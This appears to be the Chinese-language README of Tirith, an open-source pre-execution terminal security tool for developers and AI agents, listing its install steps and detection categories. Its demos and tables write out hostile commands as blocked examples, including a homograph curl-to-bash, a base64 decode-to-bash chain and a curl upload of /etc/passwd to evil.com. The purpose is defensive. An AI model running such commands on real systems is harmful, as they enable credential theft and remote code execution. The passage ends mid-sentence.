为开发者和AI代理提供终端安全。拦截同形异义URL、管道到shell、ANSI注入、混淆载荷、数据外泄以及恶意AI技能/配置,在它们执行之前。
你的浏览器能拦截它。你的终端不能。
网站 | 文档 | SKILL.md | 更新日志 | 发布版本
独立开源项目,托管由 Vercel 开源计划支持(2026 年春季批次)。
你能看出区别吗?
curl -sSL https://install.example-cli.dev | bash # safe
curl -sSL https://іnstall.example-clі.dev | bash # compromised
你做不到。你的终端也做不到。两个 і 字符都是西里尔字母(U+0456),而不是拉丁字母 i。第二个 URL 会解析到攻击者的服务器。脚本会在你察觉之前执行。
浏览器多年前就解决了这个问题。终端仍然不加质疑地渲染 Unicode、ANSI 转义序列和不可见字符。AI 代理运行 shell 命令并安装软件包,却不检查其中的内容。
Tirith 把守大门。 它会拦截命令、粘贴的内容和扫描的文件,在它们执行之前检测同形异义 URL、混淆载荷、凭据窃取、恶意 AI 技能/配置,以及来自签名威胁情报数据库的已知恶意软件包/域名/IP。
brew install tirith
然后在你的 shell 配置文件中激活:
# zsh
eval "$(tirith init --shell zsh)"
# bash
eval "$(tirith init --shell bash)"
# fish
tirith init --shell fish | source
[!TIP]
eval "$(tirith init)"会自动检测你当前使用的 shell(它会检查父进程,必要时回退到$SHELL)。只有在你想要覆盖检测结果时,才需要显式指定--shell标志。
或者让 Tirith 为你写入启动文件,作为一个可审查、可撤销的计划:
tirith setup recommended --scope user --shell zsh --dry-run # preview
tirith setup recommended --scope user --shell zsh # apply
交互式 shell 的覆盖范围就到这里。该 shell 接受的命令会在 hook 已加载且健康时被检查;确切的拦截行为取决于 shell 和模式。安装和升级后运行 tirith status:它会说明此终端已加载的 hook 是否为最新版本。运行 tirith doctor --verify-shell 以在 shell 本身中观察拦截效果,并在将 hook 视为授权边界之前阅读按 shell 的强制执行。干净的命令保持静默,并且通常走快速路径。
也可通过 npm、cargo、mise、apt/dnf 以及更多方式获取。
同形异义攻击,在执行前被拦截:
$ curl -sSL https://іnstall.example-clі.dev | bash
tirith: BLOCKED
[CRITICAL] non_ascii_hostname, Cyrillic і (U+0456) in hostname
This is a homograph attack. The URL visually mimics a legitimate
domain but resolves to a completely different server.
Bypass: prefix your command with TIRITH=0 (applies to that command only)
该命令永远不会执行。
向局域网地址发送明文 HTTP 请求,仅警告,不拦截:
$ curl http://192.168.1.20:8080/health
tirith: WARNING
[MEDIUM] raw_ip_url, URL uses raw IP address
[MEDIUM] plain_http_to_sink, Plain HTTP URL in execution context
[MEDIUM] private_network_access, Private network access: 192.168.1.20
警告会输出到 stderr。命令仍会执行。通过管道传给 shell 的下载(curl ... | sh)不算警告:它会以 curl_pipe_shell 为由被阻止。
Base64 解码-执行链,已阻止:
$ echo payload | base64 -d | bash
tirith: BLOCKED
[HIGH] base64_decode_execute, Base64 decode piped to interpreter
[HIGH] pipe_to_interpreter, Pipe to interpreter: base64 | bash
捕获通过 sudo/env 包装器和 PowerShell -EncodedCommand 进行的解码链。
凭据外泄,已阻止:
$ curl -d @/etc/passwd https://evil.com/collect
tirith: BLOCKED
[HIGH] data_exfiltration, Data exfiltration via curl upload
curl command uploads sensitive data to a remote server
涵盖所有 curl/wget 上传标志、环境变量($AWS_SECRET_ACCESS_KEY)以及命令替换。
恶意技能文件,扫描时被捕获:
$ tirith scan evil_skill.py
tirith scan: evil_skill.py, 3 finding(s)
[MEDIUM] dynamic_code_execution, exec() near b64decode() in close proximity
[MEDIUM] obfuscated_payload, Long base64 string decoded and executed
[MEDIUM] suspicious_code_exfiltration, HTTP call passes sensitive data as argument
扫描 JS/Python 文件,查找混淆载荷、动态代码执行和秘密数据外泄模式。
正常命令,不可见:
$ git status
$ ls -la
$ docker compose up -d
无。零输出。你忘了 tirith 正在运行。
35 个类别中的 245 条检测规则。
| 类别 | 拦截内容 |
|---|---|
| 同形异义攻击 | 主机名中的西里尔/希腊形近字符、punycode 域名、混合文字标签、形近顶级域名、易混淆域名、文本级易混淆检测(数学字母数字符号、同词混合文字) |
| 终端注入 | ANSI 转义序列、双向文本覆盖、零宽字符、Unicode 标签、不可见数学运算符、变体选择符、谚文填充字符 |
| 隐写术防御 | 不可见空白编码(12 种 Unicode 空格变体)、蒙古文元音分隔符、谚文填充字符、数学字母数字替换、针对 st3gg 风格文本隐写术的防御 |
| 管道到 shell | curl | bash、wget | sh、httpie | sh、xh | sh、python <(curl ...)、eval $(wget ...),以及大量包装器、解码和间接路径 |
| Base64 解码执行 | base64 -d | bash、python -c "exec(b64decode(...))"、powershell -EncodedCommand、通过 sudo/env 包装器的解码链 |
| 数据外泄 | curl -d @/etc/passwd、curl -T ~/.ssh/id_rsa、wget --post-file、上传项目机密文件(.env、.env.production、secrets.yaml)、在请求体中上传环境变量($AWS_SECRET_ACCESS_KEY)、命令替换外泄。请求头中的凭据(-H "Authorization: Bearer $TOKEN")被视为身份验证,与 --user 相同 |
| 代码文件扫描 | 混淆载荷(eval(atob(...)))、动态代码执行(exec(b64decode(...)))、JS/Python 文件中通过 fetch/requests.post 进行机密外泄 |
| 凭据检测 | AWS 密钥、GitHub PAT、Stripe/Slack/SendGrid/Anthropic/GCP/npm 令牌、私钥块,以及基于熵的通用机密检测 |
| 入侵后行为 | 进程内存抓取(/proc/*/mem)、Docker 远程权限提升、凭据文件扫描,针对 TeamPCP 和 UNC1069 入侵后工具进行校准 |
| 命令安全性 | 点文件覆盖、解压到敏感路径、云元数据端点访问、私有网络访问 |
| 不安全传输 | 明文 HTTP 管道到 shell、curl -k、禁用 TLS 验证、隐藏目标的短链接 |
| 环境 | 代理劫持、敏感环境变量导出、通过环境变量进行代码注入、解释器劫持、shell 注入环境变量 |
| 配置文件安全 | 配置注入、可疑指标、配置中的非 ASCII/不可见 Unicode、MCP 服务器安全(不安全/不受信任/重复/过于宽松) |
| 生态系统威胁 | Git clone 域名抢注、不受信任的 Docker 注册表、pip/npm URL 安装、web3 RPC 端点、未配置 vet |
| 安装命令安全性 | 从管道下载添加的 APT 仓库、[trusted=yes] / --allow-unauthenticated / --nogpgcheck / pacman SigLevel = Never(禁用签名检查)、针对原始/短链接远程清单的 kubectl apply -f、来自不受信任仓库的 Helm chart、来自不受信任远程源的 Terraform 模块、从任意 URL 执行 brew install/tap |
| 路径分析 | 非 ASCII 路径、路径中的同形字符、双重编码 |
| 渲染内容 | 隐藏的 CSS/颜色内容、隐藏的 HTML 属性、注释内容分析(提示注入为高,破坏性命令为中) |
| 伪装检测 | 服务器端伪装(机器人 vs 浏览器)、剪贴板隐藏内容、PDF 隐藏文本 |
| Windows / PowerShell | Set-ExecutionPolicy Bypass / -ep、Windows Defender 排除项(Add-MpPreference -Exclusion*)、内联 iex (iwr ...) 下载执行 |
| 终端输出防御 | OSC 52 剪贴板写入、伪造提示符、OSC 8 超链接和标题 / 清屏操纵、命令或 MCP 工具输出中的提示注入(同时扫描原始和解混淆内容,因此不可见字符、同形字符、间隔字符、leet 语以及短 base64 / hex 规避也能被捕获),以及输出数据外泄(信标 URL 或“读取机密然后发送”指令) |
| 操作上下文 | 针对标记为 prod 的 cloud / k8s 上下文和 SSH 主机的破坏性命令,未匹配已保存计划的 Terraform / Pulumi / OpenTofu apply,有风险的 sudo 提权,特权 docker run |
| 工作站与持久化 | 权限宽松的凭据文件和明文令牌(~/.ssh、~/.aws、.npmrc),持久化立足点(shell rc、authorized_keys、crontab、LaunchAgents、git core.hooksPath),PATH 劫持顺序,可执行文件来源,有风险的别名,以及敏感环境变量的生命周期 |
| 影响范围与关联 | 逃逸出仓库的删除操作、大规模删除、执行从有风险来源下载的文件,以及会话链,例如先写入密钥再发起网络请求,或先删除再执行 git push --force |
| 信任、证明与来源 | 签名命令卡不匹配、金丝雀蜜标被触碰、粘贴内容与来源主机不匹配、调用方来源(agent)策略拒绝、MCP 锁文件漂移,以及 AI 配置相对于已知安全快照的漂移 |
| Web3 命令防护 | 来自 Cast / Forge / Hardhat / Solana / Anchor 命令的链上写入(当同一命令还禁用了已声明的安全控制时为 High),命令行中出现原始私钥、密钥对或助记词材料,以及操作员的 web3_guard 策略不信任的 RPC 端点或签名者。仅做语法和策略检查:不读取链上状态,不模拟交易,也不对地址评分 |
| 钱包数据外泄 | 已审查的钱包、keystore、浏览器钱包和 Solana 密钥对材料流向已证实的远程接收端,包括归档、base64、hex、压缩器和加密器的暂存跳转,以及 xargs / find -exec 操作数提升。仅读取源文件的行为刻意不视为发现项 |
| CI 制品投毒 | 一个 fork 可触达的工作流上传构建制品,该制品被一个绑定到触发运行的特权 workflow_run 工作流消费,随后该工作流执行、加载、修改 PATH、发布或部署该制品 |
Tirith 在命令、粘贴文本和文件执行之前分析它们的结构。它是执行前的关卡,而非运行时防御,不涵盖以下内容: